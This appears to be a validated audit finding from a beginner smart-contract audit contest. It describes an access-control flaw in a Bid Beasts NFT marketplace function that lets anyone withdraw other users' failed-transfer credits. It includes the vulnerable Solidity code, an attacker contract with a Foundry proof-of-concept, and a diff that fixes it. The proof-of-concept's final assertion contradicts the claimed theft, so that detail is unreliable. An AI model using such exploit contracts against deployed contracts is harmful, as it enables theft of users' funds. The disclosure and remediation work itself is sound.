Bid Beasts

First Flight #49
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: high
Valid

access control vulnerability allows theft of failed transfer credits in `BidBeastsNFTMarket::withdrawAllFailedCredits`

access control vulnerability allows theft of failed transfer credits in `BidBeastsNFTMarket::withdrawAllFailedCredits`

Description

  • The withdrawAllFailedCredits function contains a critical access control vulnerability where it reads the credit amount from the _receiver parameter but resets credits for msg.sender and sends funds to msg.sender. This allows any attacker to steal failed transfer credits belonging to other users by simply passing the victim's address as the _receiver parameter.


function withdrawAllFailedCredits(address _receiver) external {
uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
@> failedTransferCredits[msg.sender] = 0;
@> (bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}

Risk

Likelihood:

  • when there is failed transfer credits


Impact:

  • Complete theft of all users' failed transfer credits by any malicious actor

  • Critical financial loss with no recovery mechanism for victims

Proof of Concept

function test_stealFailedCredits() public{
_mintNFT();
_listNFT();
VictimContract victim = new VictimContract(address(market));
vm.deal(address(victim), 10 ether);
victim.placeBid{value: BUY_NOW_PRICE+1 ether}(TOKEN_ID);
AttackerContract attacker = new AttackerContract(address(market), address(victim));
attacker.attackWithdraw();
assertEq(address(attacker).balance, 0, "Attacker should not have stolen any funds");
}
contract VictimContract {
BidBeastsNFTMarket market;
address public owner;
constructor(address _market){
market = BidBeastsNFTMarket(_market);
}
receive() external payable {
if(msg.sender == address(market)){
revert("Reverting to simulate payout failure");
}
}
function placeBid(uint256 tokenId) external payable {
market.placeBid{value: msg.value}(tokenId);
}
}
contract AttackerContract {
BidBeastsNFTMarket market;
address victim;
constructor(address _market, address _victim){
market = BidBeastsNFTMarket(_market);
victim = _victim;
}
receive() external payable {
}
function attackWithdraw() external {
market.withdrawAllFailedCredits(victim);
}
}

Recommended Mitigation

- function withdrawAllFailedCredits(address _receiver) external {
+ function withdrawAllFailedCredits() external {
- uint256 amount = failedTransferCredits[_receiver];
+ uint256 amount = failedTransferCredits[msg.sender];
require(amount > 0, "No credits to withdraw");
failedTransferCredits[msg.sender] = 0;
(bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}
Updates

Lead Judging Commences

cryptoghost Lead Judge about 1 month ago
Submission Judgement Published
Validated
Assigned finding tags:

BidBeast Marketplace: Unrestricted FailedCredits Withdrawal

withdrawAllFailedCredits allows any user to withdraw another account’s failed transfer credits due to improper use of msg.sender instead of _receiver for balance reset and transfer.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.